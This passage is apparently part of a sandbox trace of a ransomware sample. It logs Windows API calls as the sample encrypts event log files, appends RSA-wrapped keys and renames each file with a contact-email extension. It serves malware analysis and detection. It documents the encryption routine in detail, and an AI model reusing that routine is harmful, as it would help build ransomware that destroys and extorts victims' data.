(HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0118 [0123.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0118 | out: hHeap=0x570000) returned 1 [0123.371] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.371] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.372] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.432] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.432] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.435] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.435] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.436] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.436] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="ieHc6TC30xNXQpHIOZSFoNXmD4IXjnS4eBinTI2Z9yp1MZvmcLiEzHXmQe7Hc6Er\n3LIBOq8t0zOYPgFGVPmKbk5XK7R++0FI0QTuVWvuEKFZeAI7NE3qS8cACxsgT7lM\nUbtddjsjA+JZfIELP/jNs1E+wWytmKQIRtg+yZ381a9IC5B0aKpIXA6zOk7SBWPT\nEmUNb5PVbWXZDkoLBLXIUGszNCdR0qEms9LTJX18qmbBXd6EafvhzzwNkJg1lOS1\n6Ue6yWPiwZ/4rxP5OmCwSHv9FhJxSr43dzTyfZLvTsxa5Nc0toXC6jukwjTbiI7N\n/7iVB4oyZWzfsYG2FuqmHQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.436] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.436] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.436] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.436] CloseHandle (hObject=0x460) returned 1 [0123.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.439] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d03e8 | out: hHeap=0x570000) returned 1 [0123.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0988 | out: hHeap=0x570000) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0123.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0123.441] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.441] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0123.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0123.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0123.441] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.441] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.441] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.641] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.641] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.643] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.643] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.643] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.643] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.643] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.645] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.645] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="1iWdnSgqgZsdbdcLD5COaCmg6fe3FwXSry2Hfuqm9R6WET6kvz8UHHOvJOjqLkE5\nuolnN4PjenhHnzDN4+bJEDuYI9bsOjeIc7HroZ1spnrjAWE5gZ4S0zxR3jU+SmzY\nWwBntpXEWMXYXsK6h5Es3kMlX9rLGzNXfwQ3E4FDir6F/BDLFj4Iwn+h82ws4mxs\n13SZ3WfpKuhnVtydGHcBXLS3ew6AfocneRqDcgxQFprGuyI1p9qD0DPV7NHKRWs0\nhfqkM/pzPTcnPFjKS2kNL8V9eeIhUNHz5D4T4+I73gqKoIzoMzIa01WVeVhi/HoG\n8k0h7ds0kNxnCT/QpzuxHg==\n", pcchString=0x2e3f9a8) returned 1 [0123.645] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.645] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.645] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.645] CloseHandle (hObject=0x460) returned 1 [0123.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.647] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.657] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0123.657] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0123.657] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0123.657] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0123.657] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0280 [0123.657] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.657] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.657] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.657] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0d48 [0123.657] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0123.657] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d48 | out: hHeap=0x570000) returned 1 [0123.657] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.657] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.658] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.658] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.658] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.662] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.662] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.666] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.666] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.666] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="z39NfR8I/hNB24ERQ0LQRSKYcsS5BRxEPF2vvh4wjqSZsfeRuHWn1pbVcpjTyTEK\n49Yk6wSuO6COv42g282d8RhuMEoGoZKRyA9Z3n5GE4rWjvQnhW6WZutVFOI2mmIT\nruPIEUzXZAVdWhoL93WymT3TeBtNw730R1dKIs55SvEd3RF38/H7bmG/H3mpmkkW\nX9XPqMKcivbgbSExirP6tgU9um1z8sF54YYYovapok8S447gnXSI9JZzf3vCaaje\ngp8v6+3GGl2Bzw6j2B3XJieSzUISDzGHG2iMRpshzZp85pvU/gZtmYpfAUUALHkA\nRggTuurajkqhgIWUI/YCJw==\n", pcchString=0x2e3f9a8) returned 1 [0123.668] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.668] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.668] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.668] CloseHandle (hObject=0x460) returned 1 [0123.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.670] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0280 | out: hHeap=0x570000) returned 1 [0123.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d00a0 | out: hHeap=0x570000) returned 1 [0123.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0123.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.675] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.675] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5b5f88 [0123.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b6040 [0123.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.676] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.676] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.676] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.689] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.689] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.690] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.690] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.691] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.691] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.691] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.691] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.691] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.693] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="q7gCc2WBzpda79h5yd6txW42pDHJmhWy/cnpxytKczQVVYGA9Um9tqIQpNENEkaK\nlj+SdCy//1X7DoCXtMfODLT4/+UCM1OOACB7W9xornQepY6SN/8e78WNe2U/luBY\nWwvfUsEtaT3k0OK9oKujd0HKE9WfsHa9WBG3yLVcIP3UdeqwdvdjW2N07fo8m16X\nQWMKflYthFwRNZ1Aa6C8++8uC7MRwromvMlOftYl0vKMhjXsU7300Q9oXZDiPcPm\ngZvyApCTkFXreEqyeAu82BnQyu7P4dBhVLDKrEpkX6h/9HAnyybLwT3vFhUd613u\n+OqDUIlLeBQ/7FByX9h/Qg==\n", pcchString=0x2e3f9a8) returned 1 [0123.693] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.693] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.693] CloseHandle (hObject=0x460) returned 1 [0123.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.695] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6040 | out: hHeap=0x570000) returned 1 [0123.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ed0 | out: hHeap=0x570000) returned 1 [0123.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0123.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.697] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.697] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0123.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5b5ed0 [0123.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x5b5f78 [0123.698] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ed0 | out: hHeap=0x570000) returned 1 [0123.698] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.698] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.703] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.713] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.713] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.717] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, 